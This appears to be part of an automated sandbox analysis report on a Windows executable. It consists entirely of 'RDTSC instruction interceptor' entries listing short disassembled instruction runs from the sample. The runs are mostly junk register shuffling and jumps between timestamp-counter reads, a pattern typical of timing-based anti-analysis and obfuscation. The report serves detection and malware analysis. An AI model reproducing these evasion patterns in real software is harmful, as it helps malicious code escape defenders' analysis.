                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B59ABD second address: B59AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C91A8622h 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B59AD3 second address: B59AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B59AD7 second address: B59B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edx, ecx 0x0000000b push 00000004h 0x0000000d mov dword ptr [ebp+122D228Ch], ebx 0x00000013 mov dl, ch 0x00000015 push AA5B852Fh 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F96C91A8624h 0x00000021 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B5B115 second address: B5B119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B5B119 second address: B5B123 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F96C91A8616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B5CFFD second address: B5D029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F96C9132780h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop edx 0x00000012 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B5D029 second address: B5D030 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060D46 second address: 5060D63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050DE9 second address: 5050DED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050DED second address: 5050DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050DF3 second address: 5050E26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F96C91A8620h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F96C91A861Ah 0x0000001a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050E26 second address: 5050E2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50908D2 second address: 50908E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C91A861Eh 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50908E4 second address: 50908FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a call 00007F96C913276Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50908FD second address: 5090906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 mov eax, edx 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090906 second address: 5090975 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F96C9132779h 0x00000008 add ax, FB26h 0x0000000d jmp 00007F96C9132771h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov dx, EDAEh 0x0000001f pushfd 0x00000020 jmp 00007F96C913276Fh 0x00000025 xor ax, 1E5Eh 0x0000002a jmp 00007F96C9132779h 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090975 second address: 509097B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509097B second address: 509097F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50300DB second address: 50300DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50300DF second address: 50300E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50300E5 second address: 50300FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C91A8622h 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50300FB second address: 5030134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F96C9132777h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F96C9132775h 0x00000017 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5030134 second address: 503015C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8621h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c pushad 0x0000000d mov di, cx 0x00000010 popad 0x00000011 push dword ptr [ebp+0Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov al, 92h 0x00000019 mov bh, AEh 0x0000001b popad 0x0000001c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 503015C second address: 50301AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132775h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov di, B3BEh 0x00000013 pushfd 0x00000014 jmp 00007F96C913276Fh 0x00000019 add al, 0000006Eh 0x0000001c jmp 00007F96C9132779h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50301CC second address: 50301F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov esi, 726A2EF5h 0x0000000a popad 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96C91A8627h 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050B25 second address: 5050B41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F96C913276Ah 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050B41 second address: 5050B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050B45 second address: 5050B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050B4B second address: 5050B5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C91A861Bh 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050B5A second address: 5050B5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050B5E second address: 5050B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop edx 0x0000000f pushfd 0x00000010 jmp 00007F96C91A861Ah 0x00000015 and eax, 24874F58h 0x0000001b jmp 00007F96C91A861Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050B8B second address: 5050BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C9132774h 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050BA3 second address: 5050BA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50506CF second address: 50506DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50506DE second address: 50506F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C91A8624h 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50506F6 second address: 50506FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50505BA second address: 50505C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50505C0 second address: 50505C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50505C4 second address: 50505F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F96C91A861Fh 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F96C91A8625h 0x00000017 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50505F5 second address: 5050608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 mov bh, 7Ch 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ah, dl 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050608 second address: 505060E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50502B7 second address: 50502F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov bx, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F96C9132772h 0x00000012 push eax 0x00000013 pushad 0x00000014 mov esi, ebx 0x00000016 mov dx, 0C70h 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F96C9132772h 0x00000023 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50502F4 second address: 505033A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 8464h 0x00000007 call 00007F96C91A861Dh 0x0000000c pop ecx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 pushad 0x00000014 mov edx, 5E12567Eh 0x00000019 mov di, 5C8Ah 0x0000001d popad 0x0000001e mov bx, B756h 0x00000022 popad 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F96C91A8628h 0x0000002b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 505033A second address: 505033F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50600C1 second address: 50600C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50600C7 second address: 50600D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C913276Dh 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50600D8 second address: 5060123 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F96C91A861Ch 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov ebx, eax 0x00000012 mov ch, 5Ah 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 mov al, dh 0x0000001a popad 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F96C91A8622h 0x00000025 and ch, 00000038h 0x00000028 jmp 00007F96C91A861Bh 0x0000002d popfd 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090838 second address: 509085E instructions: 0x00000000 rdtsc 0x00000002 mov ax, 7A4Bh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov edx, esi 0x0000000f mov cx, 3D1Fh 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 mov di, si 0x0000001a push ecx 0x0000001b pushad 0x0000001c popad 0x0000001d pop edx 0x0000001e popad 0x0000001f pop ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509085E second address: 5090862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090862 second address: 5090873 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090873 second address: 5090879 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5070029 second address: 5070082 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F96C9132773h 0x00000015 adc cl, FFFFFFDEh 0x00000018 jmp 00007F96C9132779h 0x0000001d popfd 0x0000001e mov ax, D6A7h 0x00000022 popad 0x00000023 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5070082 second address: 50700D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, B93Eh 0x00000007 movsx ebx, ax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 mov al, 36h 0x00000012 mov si, di 0x00000015 popad 0x00000016 mov eax, dword ptr [ebp+08h] 0x00000019 pushad 0x0000001a mov dx, 2FB4h 0x0000001e movsx edi, cx 0x00000021 popad 0x00000022 and dword ptr [eax], 00000000h 0x00000025 pushad 0x00000026 call 00007F96C91A8622h 0x0000002b mov edi, ecx 0x0000002d pop eax 0x0000002e popad 0x0000002f and dword ptr [eax+04h], 00000000h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F96C91A861Bh 0x0000003c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50700D1 second address: 50700D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50700D5 second address: 50700DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50700DB second address: 50700EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C913276Bh 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 505046B second address: 5050497 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F96C91A861Bh 0x00000008 jmp 00007F96C91A8623h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5050497 second address: 50504A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50504A9 second address: 50504FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F96C91A861Ch 0x00000009 add eax, 54D4F608h 0x0000000f jmp 00007F96C91A861Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F96C91A8622h 0x00000021 and cl, 00000068h 0x00000024 jmp 00007F96C91A861Bh 0x00000029 popfd 0x0000002a mov bh, al 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f mov di, A7D6h 0x00000033 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50504FC second address: 5050517 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F96C913276Bh 0x00000012 push eax 0x00000013 pop ebx 0x00000014 popad 0x00000015 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060E6D second address: 5060E73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060E73 second address: 5060E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060E77 second address: 5060E95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F96C91A8623h 0x00000010 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060E95 second address: 5060ED8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F96C913276Eh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F96C913276Dh 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060ED8 second address: 5060F08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8627h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96C91A8620h 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5060F08 second address: 5060F0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090017 second address: 509001D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509001D second address: 5090034 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090034 second address: 5090038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090038 second address: 5090055 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090055 second address: 50900E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F96C91A8627h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F96C91A8629h 0x0000000f sub ecx, 3146C756h 0x00000015 jmp 00007F96C91A8621h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f jmp 00007F96C91A8621h 0x00000024 xchg eax, ebp 0x00000025 pushad 0x00000026 mov dx, ax 0x00000029 pushad 0x0000002a mov al, CCh 0x0000002c mov bh, ABh 0x0000002e popad 0x0000002f popad 0x00000030 mov ebp, esp 0x00000032 jmp 00007F96C91A861Ah 0x00000037 xchg eax, ecx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F96C91A8627h 0x0000003f rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50900E9 second address: 5090179 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007F96C913276Bh 0x0000000b add cl, 0000004Eh 0x0000000e jmp 00007F96C9132779h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007F96C9132771h 0x0000001d xchg eax, ecx 0x0000001e pushad 0x0000001f mov cl, 01h 0x00000021 mov cl, dh 0x00000023 popad 0x00000024 mov eax, dword ptr [76FA65FCh] 0x00000029 jmp 00007F96C9132770h 0x0000002e test eax, eax 0x00000030 jmp 00007F96C9132770h 0x00000035 je 00007F973AFC5F72h 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F96C9132777h 0x00000042 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090179 second address: 50901B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8629h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b jmp 00007F96C91A861Eh 0x00000010 xor eax, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F96C91A861Ch 0x0000001a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50901B7 second address: 50901E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96C9132775h 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50901E0 second address: 50901F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C91A861Ch 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50901F0 second address: 509023F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ror eax, cl 0x0000000a pushad 0x0000000b mov si, di 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 pop esi 0x00000013 popad 0x00000014 popad 0x00000015 leave 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F96C913276Dh 0x0000001d sbb ecx, 52CDC676h 0x00000023 jmp 00007F96C9132771h 0x00000028 popfd 0x00000029 mov ebx, eax 0x0000002b popad 0x0000002c retn 0004h 0x0000002f nop 0x00000030 mov esi, eax 0x00000032 lea eax, dword ptr [ebp-08h] 0x00000035 xor esi, dword ptr [008C2014h] 0x0000003b push eax 0x0000003c push eax 0x0000003d push eax 0x0000003e lea eax, dword ptr [ebp-10h] 0x00000041 push eax 0x00000042 call 00007F96CD9428D9h 0x00000047 push FFFFFFFEh 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c pushad 0x0000004d popad 0x0000004e mov bx, FB98h 0x00000052 popad 0x00000053 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 509023F second address: 5090245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5090245 second address: 5090257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ebx, 235CDAE0h 0x00000011 popad 0x00000012 rdtsc
